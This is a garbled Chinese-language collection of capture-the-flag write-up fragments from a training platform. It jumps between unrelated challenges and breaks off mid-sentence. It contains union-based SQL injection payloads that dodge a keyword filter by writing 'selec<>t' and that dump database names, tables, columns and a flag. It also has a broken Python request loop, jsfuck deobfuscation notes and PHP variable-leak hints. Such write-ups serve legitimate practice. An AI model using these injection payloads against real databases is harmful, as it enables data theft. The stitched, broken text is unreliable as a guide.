本题过滤了一些命令,可以使用注释绕过’<>’ 使用order by ?id=1 order by 3 查看数据库 ?id=1 union slec<>t 1,database(),3 查表 ?id=1 union selec<>t 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() 查字段 ?id=1 union selec<>t 1,group_concat(column_name),3 from information_schema.columns where table_name =“info” 查数据 ?id=1 union selec<>t 1,flAg_T5ZNdrm,3 from info
for i in range(20): url = “http://17fab28ee29e482a95e9cca3fa1dcb111d918b722e404654.game.ichunqiu.com/?value[]=” + r.content[0:2] r = s.get(url) print r.content 输出的r.content中就有flag
web include
who are you?
broken
一点开网页,就看到一段英文:
“Hi, a CTFer. You got a file, but it looks like being broken.”
其中file有超链接。但是我没有直接点开,而是去审查了页面元素。没有结果。
0x02 fffffaaakk
点开看到一段jsfuck字符串。(字符串太长了,就不复制了)
第一反应是复制下来去控制台运行,但是运行结果显示有错误。经过对比,发现是一开始的一个字符后少了一个“]“。结果弹出"flag is not here"。
想到之前做过的几类题目中,flag is not here 有可能是暗示经过了302跳转的最后结果,或者在http响应头中。但是这会被经验套路了。结果并不是如经验所愿。拿出扫描器扫可能存在的页面或者备份,结果只扫到了“index.html”。emmmm好吧,那就说明很大程度上的答案就是在这jsfuck代码里面了。
应为是弹窗,所以想到了alert,所以我的第一个想法是去jsfuck解析网站“www.jsfuck.com/ ”里面输入alert("flag is hot here "),翻译过后有5903个字符,而网页给我们的字符有95484个字符。
好了,到这里我产生了第二个想法:应该是有其他的字符在里面,而且没有被弹出来。在这里我花了点时间看了jsfuck的构成。看到有个翻译规则是:eval => []["filter"]["constructor"]( CODE )() 。而我拿到的字符串也符合这个格式。所以我猜测flag在CODE部分。
MISC web 爆破-1两个’/‘之间的符号是正则表达式,’^’ 表示匹配开始,‘$’匹配结束,‘\w‘表示匹配字母或数字或下划线或汉字,‘*’表示匹配前面的字符0次或多次,使用PHP中的 $GLOBALS变量即可MISC web 爆破-2不在变量中,就是在文件中,使用file()或者file_get_contents()或者‘);‘’...